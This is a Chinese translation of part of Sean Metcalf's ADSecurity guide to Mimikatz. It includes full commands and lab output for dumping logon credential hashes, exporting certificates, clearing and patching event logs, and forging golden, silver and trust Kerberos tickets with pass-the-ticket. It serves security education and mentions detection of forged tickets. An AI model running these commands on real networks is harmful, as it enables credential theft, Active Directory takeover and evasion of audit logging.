原文地址:https://adsecurity.org/?page_id=1821
原文作者:Sean Metcalf
译者注:
由于原文中,作者(Sean Metcalf)已经明确的指出 “未经本文作者明确的书面同意,请勿复制包含在此页面的全部或部分内容。”,因此为了分享此佳作,译者与作者(Sean Metcalf)在推上取得了联系,沟通之后,作者允许我将此文完整翻译并分享给其他人。在此也感谢 Sean Metcalf 大牛将有关 Mimikatz 的全部内容做了系统的整理并分享出来。以下是原文作者(Sean Metcalf)回复的截图,以作授权说明:
Mimikatz 作为当下内网渗透神器之一,看起来似乎很少有人真正关注它的全部功能(Sean Metcalf 在原文开头也表示了这样的疑惑),在一些诸如 “十大黑客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛将有关 Mimikatz 的相关技术做了系统的整理,遂做粗糙翻译并作分享。译文难免有误,望各位看官及时指正。此文是译文的第二部分,主要阐述了使用 Mimikatz 创建三大票证(黄金票证,白银票证,信任票证)的命令用法,以及 哈希传递(PTH),票证传递(PTT),密钥传递(PTK),缓存传递(PTC)的利用,在第三部分中会包含大量常用或不常用的 Mimikatz 命令的具体用法。
Casey Smith (@subtee & blog) 已经做了很多事情,表明了应用程序白名单不是万能的。 Casey 也想出了很多新的想法,以“猥琐”的方式来执行 Mimikatz 。
下面就介绍一些最流行的 Mimikatz 命令及相关功能。
所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts
Mimikatz 可以在交互模式中运行,只需运行 “Mimikatz.exe” 即可或传递命令并退出(例如:'Mimikatz “Kerberos::list” exit
')。Invoke-Mimikatz 没有交互模式。
Mimikatz 可以在命令行中传递多个命令,这在使用 Invoke-Mimikatz 或者是在脚本文件中使用 Mimikatz 时非常有用。
追加的 “exit” 是 Mimikatz 执行的最后一个命令,这能够使 Mimikatz 自动退出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
PS C:\temp\mimikatz> .\mimikatz
"privilege::debug"
"sekurlsa::logonpasswords"
exit
.
#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.
## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##'
http:
//blog
.gentilkiwi.com
/mimikatz
(oe.eo)
'#####'
with 17 modules * * */
mimikatz(commandline)
# privilege::debug
Privilege
'20'
OK
mimikatz(commandline)
# sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11
/27/2015
11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
|
交互模式提供了一个命令可以输入并实时执行的 “Mimikatz 控制台”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
PS C:\temp\mimikatz> .\mimikatz
.
#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.
## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##'
http:
//blog
.gentilkiwi.com
/mimikatz
(oe.eo)
'#####'
with 17 modules * * */
mimikatz
# privilege::debug
Privilege
'20'
OK
mimikatz
# sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11
/27/2015
11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
credman :
|
Mimikatz 的模块如下:
注:任何被标记为“实验”的项目,都应该仅在测试环境中使用。
Mimikatz 的 CRYPTO 模块提供与 Windows 加密功能(CryptoAPI)进行对接的高级功能。
典型的用法的是用于导出未标记为“可导出”的证书。
CRYPTO::CAPI – (实验)是对 CryptoAPI 层的补丁,便于导出凭证数据。
关于使用 Mimikatz 导出证书,Carlos Perez (又名DarkOperator) 发表过一篇很棒的文章。
这个命令可以列出证书以及证书中密钥的属性。它同样也可以导出证书。通常情况下,需要先执行 “privilege::debug”
CERT_SYSTEM_STORE_CURRENT_USER
)Benjamin 对 CRYPTO:Certificates 的注释:
Store 选项:
1
2
3
4
5
6
7
8
|
CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
CERT_SYSTEM_STORE_USERS or USERS
CERT_SYSTEM_STORE_SERVICES or SERVICES
|
DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二进制大对象的保护
DPAPI:Cache
DPAPI::CAPI – CAPI 密钥测试
DPAPI::CNG – CNG 密钥测试
DPAPI::Cred – CRE 测试
DPAPI::CredHist – 配置一个 Credhist 文件
DPAPI::MasterKey – 配置 Masterkey 文件或解除保护(依赖于密钥)
DPAPI::Protect – 使用 DPAPI 保护数据
DPAPI::Vault – VAULT 测试
EVENT::Clear – 清空事件日志
EVENT:::Drop –(实验)对事件服务进行补丁,避免新的事件产生
Mimikatz 的 KERBEROS 模块用于与微软官方的 Kerberos API 进行对接。此模块中的命令不需要特殊的权限。
该命令提供的功能需要根据检索到的密码的哈希类型执行。
Type | Requirement | Scope |
Golden | KRBTGT hash | Domain/Forest |
Silver | Service hash | Service |
Trust | Trust hash | Domain/Forest -> Domain/Forest (基于帐户的访问) |
黄金票证是一个使用 KRBTGT 帐户的 NTLM 密码哈希来加密和签名的 TGT 。
黄金票证(简称:GT)可以用于创建任何在域中的用户(实际存在或不存在的均可)冒充为任何在域中的组(提供几乎不受限制的权限)的成员以及在域中的任何资源。由于黄金票证是一种身份验证票证(TGT 如下所述),所以其范围是 TGT 整个域(以及利用了 SID 历史的 AD 林),还有一个原因是 TGT 可以用来获取用于访问资源的服务票据(TGS)。黄金票证(TGT)包含了用户组成员信息(PAC),这些信息使用了域的 Kerberos 服务帐户(KRBTGT)进行加密,签名并且只能由 KRBTGT 帐户才能打开并读取这些信息。
总之,一旦攻击者能够访问 KRBTGT 帐户的密码哈希,他们就可以创建黄金票证(TGT)用于在任何时候访问在 AD 中的任何东西。
创建一个黄金票证的 Mimikatz 命令为 “kerberos::golden”
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
命令示例:
.\mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit
黄金票证参考:
使用“ SID 历史”的黄金票证
更新于 1/5/2016:
在 2015 年一月初,我分享过检测伪造的 Kerberos 票证并且随后在 BSides Charm 2015 中提到过此信息。不久后,Mimikatz 进行了更新,使用了一个设置为静态值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,伪造的 Kerberos 票证将不再包含一个不规则的域,因为 Kerberos 票证的域组件中放置了 NetBIOS 域名称。
下面是使用 diff 列出了 Mimikatz 代码的不同之处:
更多关于检测伪造的 Kerberos 票证(黄金票证,白银票证,等等)的不同之处,请看这里。
白银票证(Silver Ticket)是一个 TGS (在格式上类似于 TGT),使用了目标的服务帐户(通过 SPN 映射标识)的 NTLM 密码哈希做加密,签名。
创建一个白银票证的 Mimikatz 命令为 “kerberos::golden”
下面是为 adsmswin2k8r2.lab.adsecurity.org 上的 CIFS 服务创建一个白银票证的 Mimikatz 命令。为了确保白银票证能够成功创建,需要先找到 adsmswin2k8r2.lab.adsecurity.org 中的 AD 计算机帐户的密码哈希,你可以从一个 AD 域中导出,也可以在本地系统中直接运行 Mimikatz (Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit)。NTLM 密码哈希被用于 /rc4 参数,服务 SPN 类型同样需要使用 /service 参数指定。最后,目标计算机的完全合格域名名称(FQDN)需要在 /target 参数中指定。不要忘记在 /sid 参数中指定域的 SID 。
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
更新于 1/5/2016:
在 2015 年一月初,我分享过检测伪造的 Kerberos 票证并且随后在 BSides Charm 2015 中提到过此信息。不久后,Mimikatz 进行了更新,使用了一个设置为静态值的 domain 字段,此字段通常包含字符串“eo.oe”。更新于 1/5/2016 的 Mimikatz 中,伪造的 Kerberos 票证将不再包含一个不规则的域,因为 Kerberos 票证的域组件中放置了 NetBIOS 域名称。
下面是使用 diff 列出了 Mimikatz 代码的不同之处:
更多关于检测伪造的 Kerberos 票证(黄金票证,白银票证,等等)的不同之处,请看这里。
一旦 Active Directory 的信任密码哈希确定后 (Mimikatz “privilege::debug” “lsadump::trust /patch” exit),就可以生成一个信任票证(Trust Ticket)。关于信任票证(Trust Ticket)背后的更多细节,请看这里
在这个例子中,需要利用两个额外的工具,由 Benjamin Delpy 编写的 AskTGS 和 Kirbikator。
当前使用的 Mimikatz 版本可以提取出信任密钥(或密码)。
(Mimikatz “privilege::debug” “lsadump::trust /patch” exit)
伪造信任票证说明了票证的持有人是 AD 林中的企业管理员(Enterprise Admin)。这使得从一个子域到父域的访问会得到完全的管理权限。请注意,此帐户没有存在于任何地方,因为它有效的使用黄金票证跨越了信任域。
创建一个信任票证的 Mimikatz 命令为 “kerberos::golden”
Mimikatz “Kerberos::golden /domain:child.lab.adsecurity.org /sid:S-1-5-21-3677078698-724690114-1972670770 /sids:S-1-5-21-1581655573-3923512380-696647894-519 /rc4:49ed1653275f78846ff06de1a02386fd /user:DarthVader /service:krbtgt /target:lab.adsecurity.org /ticket:c:\temp\tickets\EA-ADSECLABCHILD.kirbi” exit
在这个例子中,针对 CIFS 服务(实际上它可以针对任何服务)所产生的结果是 TGS 提供给了 EA 访问父(根)域中的域控制器的权限。
Asktgs c:\temp\tickets\EA-ADSECLABCHILD.kirbi CIFS/ADSDC02.lab.adsecurity.org
Kirbikator lsa c:\temp\tickets\CIFS.ADSDC02.lab.adsecurity.org.kirbi
KERBEROS::List – 列出在用户内存中的所有用户的票证(TGS 和 TGT)。没有指定必需的权限,因为它只是显示了当前用户的票证。与 “klist” 的功能相似。
/export – 将用户的票证导出到文件中。
使用SEKURLSA::TICKETS 转储所在已在系统中验证过的用户的 Kerberos 票证。
请注意,在有些情况下,用户的凭证将不会被导出。这时候需要运行 SEKURLSA::Tickets /export(需要有适当的权限)。
KERBEROS::PTC – 缓存传递(NT6)
*Nix 操作系统,如 Mac OS, Linux,BSD, Unix,等等会将 Kerberos 凭证进行缓存。这些已经被缓存的文件通过使用 Mimikatz 可以被复制以及传递。同样对将 Kerberos 票证注入到缓存文件中也很有用。
一个很好的例子是在使用 PyKEK 利用 MS14-068 漏洞时所使用的 Mimikatz 的 kerberos::ptc 命令。PyKEK 生成了一个缓存文件,使用 Mimikatz 的 kerberos::ptc 命令可以注入操作。
在找到 Kerberos 票证之后,它可以被复制到其他系统上,并且可以传递到当前会话中有效的模拟一次登录且无需与域控制器有任何通信。未指定所需的权限。
类似于SEKURLSA::PTH (Pass-The-Hash) 哈希传递
KERBEROS::Purge – 清除所有的 Kerberos 票证
功能类似于 “klist purge” 。在传递票证(PTC,PTT,等)前运行此命令,并且确保使用了正确的用户上下文。
KERBEROS::TGT – 获取当前用户的 TGT